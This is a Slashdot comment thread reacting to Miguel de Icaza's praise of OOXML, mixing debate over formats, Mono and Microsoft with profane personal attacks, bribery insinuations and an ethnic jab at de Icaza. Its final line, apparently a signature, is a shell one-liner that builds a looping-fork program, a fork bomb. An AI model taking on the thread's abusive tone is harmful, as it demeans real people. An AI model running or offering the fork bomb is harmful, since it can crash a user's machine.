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de lcaza calls OOXML a "Superb Standard"
you-bet-it's-not-out-of-context writes "A blogger on KDE Developer's Journal has found an interesting post by Miguel de Icaza, the founder of GNOME and Mono, in a Google group dedicated to the discussion of his blog entries. Six days ago Miguel stated that 'OOXML is a superb standard and yet, it has been FUDed so badly by its competitors that serious people believe that there is something fundamentally wrong with it.' In the same post he says that to avoid patent problems over Silverlight, when using or developing Mono's implementation (known as Moonlight), i's best to 'get/download Moonlight from Novell which will include patent coverage.'"
Hey Miggy, how much $$$$ did microsoft deposit into your swiss bank account for spewing that kind of utter fucking bullshit? You are one sad motherfucker.
I'm sure the real Miguel is able to see the obvious technical deficiencies of OOXML.
I slashdot so desperate for stories (at least those that will prompt endless Microsoft-bashing) that a simple post to Google Groups is worth the front page? Heaven help us.
-- "I never gave these stories much credence." - HAL 9000
I notice in his Wikipedia article (which he apparently bemoans on the talk page) that he applied to work for MS on MSIE all the way back in 1997, although he says he tried to persuade his interviewers to liberate the code, so I guess one cannot hold that against him. There's nothing wrong with being MS-friendly. His being so anti-software-freedom is a problem though since the FSF gave him the 1999 Award for the Advancement of Free Software. Can they withdraw that or something?
I probably shouldn't feed the troll (de Icaza) but...what really shocks me about that exchange is not his extreme views, but his childishness, how transparent his trolling is and his inability to hold an argument. I love the way he attacks those who reply by suggesting their English isn't very good (when it is perfect) instead of addressing their concerns when his English is hardly perfect.
Joe Llywelyn Griffith Blakesley
[This post is in the public domain (copyright-free) unless otherwise stated]
... or at least he might as well be one. Even as far back as 1999 at his rambling incoherent talk at Ottawa Linux Symposium, it was obvious that Miguel was in love with himself and with MSFT and hated anything UNIXy. He has about as much credibility left as ESR.
Oh, well, if that crazy Mexican says it's superb then it MUST be!
hmm, does Nat hate it?
Yeah, starting with an ad hominem makes me want to take your arguments seriously.
I know Argumentum Ad Hominem has been waved in your face for a while now, and it might be the only logical fallacy that springs to mind easily. Here's a handy list that you can refer to when you need to make your point and sound like you actually paid attention in high school.
Something else to keep in mind is that a logical fallacy does not automatically invalidate the point some guy was trying to make. Yes, it's an ad hominem attack. Good on you for spotting it. Now tell us what that means to you.
Literalism isn't a form of humor, it's you being irritating.
You don't know where it's been (and it's probably better that way).
I know that All Things Microsoft is something you want Linux to aspire to.
And that's your right.
But OOXML is NOT a good standard. And no amount of apologetics on your part is going to make the open source community come to believe otherwise.
Developing tools for interop? Yeah, nice, that's something we SHOULD do.
Standardizing on a faux-open format like OOXML? Nope. Sorry, we may be crazy, but we're not STUPID!
Chas - The one, the only.
THANK GOD!!!
Sun won't let that happen. According to Gary Edwards of the OpenDocument Foundation, Sun limits ODF to those features implemented in OpenOffice.
fsck you, you can go straight to hell...
this comment is probably redundant and will most likely modded as a troll but i felt i had to say it in response to his comment about ooxml
Politics is Treachery, Religion is Brainwashing
Well considering his background from Mexico, yes I think it is fair to assume that English isn't his first language.
I will agree with you that having two is suboptimal, but we have to support them both *anyways*, so its not like its a big deal.
No we don't. The whole problem with OOXML is that no one will be able to "support" it but M$, just like their old DOC "standard". Why waste time chasing their tail now?
M$ is weak, so it would be better to break their back and be done with it. There is nothing positive that anyone should say about buying yet another $400 Office Suite that does little more than the old one except open the new "superb" format. People hate having to put out the money and the way everything has changed in the interface. Most of all everyone hates the new format. I can continue in this way, but the bottom line is that Microsoft is an enemy of freedom. They must be destroyed because their goal is domination and they will never stop.
Ever see Bridge Over River KWai? You are building the enemy a better bridge. Sooner or later you will ask yourself about it.
DMCA, Hollings, Palladium. What might have sounded like paranoia is now common sense.
He probably paid them. What a fucking twat! Just go run windows now, miguel. You don't want to be on the Linux side and we don't want you.
The Farewell Tour II
Oh, I don't care about "threats" from patents. I just don't like crap. I also don't like a bunch of sissy whining because someone doesn't want to add someone group's dumb name on to the front of the name of something else. In general I like the FSF. They've definitely got the right idea a lot of the time. Copying mono isn't one of them, and neither is going around complaining that people don't say "GNU/Linux." The "GOLD" Linux is just fine.
It's nice that you want, like everyone else on slashdot, knows how to say "ad hominem." But that doesn't give your "argument" any more credibility. In fact, what was your argument again? That being a whining little bitch is nice or that copying, poorly at that, every piece of microsoft trash is the "wave of the future" for Free Software?
Using microsoft software has never gotten us very far and copying it has gotten us no where at all. All it does is lock us in to the low standard of quality they put forth and forever frame our ideas of what computing not only should be, but can be.
BTW, the period goes inside the quotation mark.
The Farewell Tour II
As much as I agree that we need to get rid of him, I've been thinking about it tonight and I don't think that we can. Think of all the joy that is brought to the world by having miguel there to flame? It's so easy and yet so satisfying. Unlike other topics (such as anything that apple does) you also don't stand against an army of trolls and their ill-gotten mod points, because we have our own army of anti-miguel trolls with mod points.
Seriously, it's like contemplating the world without Captain Hook... if Captain Hook weren't so fucking awesome. Think of the children, man! Would you want to live in a world where you would never see a child's face light up the first time that they get modded +4 Insightful for calling miguel a "twat?" I for one do not want to live in a world so lacking in beauty and wonder.
So run free miguel. Keep up your crusade to poorly copycat every piece of microsoft garbage. But please, just do it on their side of the tracks. No one will notice when you crap in that landfill and the piles you've dumped over here are getting pretty ripe.
The Farewell Tour II
Well I'm sure yours is lying around here somewhere, since you've clearly lost it. I'll take that as confirmation that I've "won" this argument without even trying. I'm sorry that you're such a crying little bitch and a sissy. It must feel horrible that the only thing you have to look forward to after a long day of sobbing into your blanket is crying yourself to sleep.
The Farewell Tour II
The point is that a few percent of people rely of 39013 representing some particular date.
It's a recurring theme with Microsoft - pretty much any internal glitch they expose is relied on by a few people, and so the glitch must never be changed. Look at Raymond Chen's blog for more examples. Open source code doesn't take that approach - source code purity is more important than user friendliness.
And after thinking about it for a while, I prefer the Microsoft approach. Most people of course don't understand any of this. But they would notice and be annoyed if their spreadsheets stopped working after they upgraded because something like this changed. So it turns out they prefer the Microsoft approach too.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;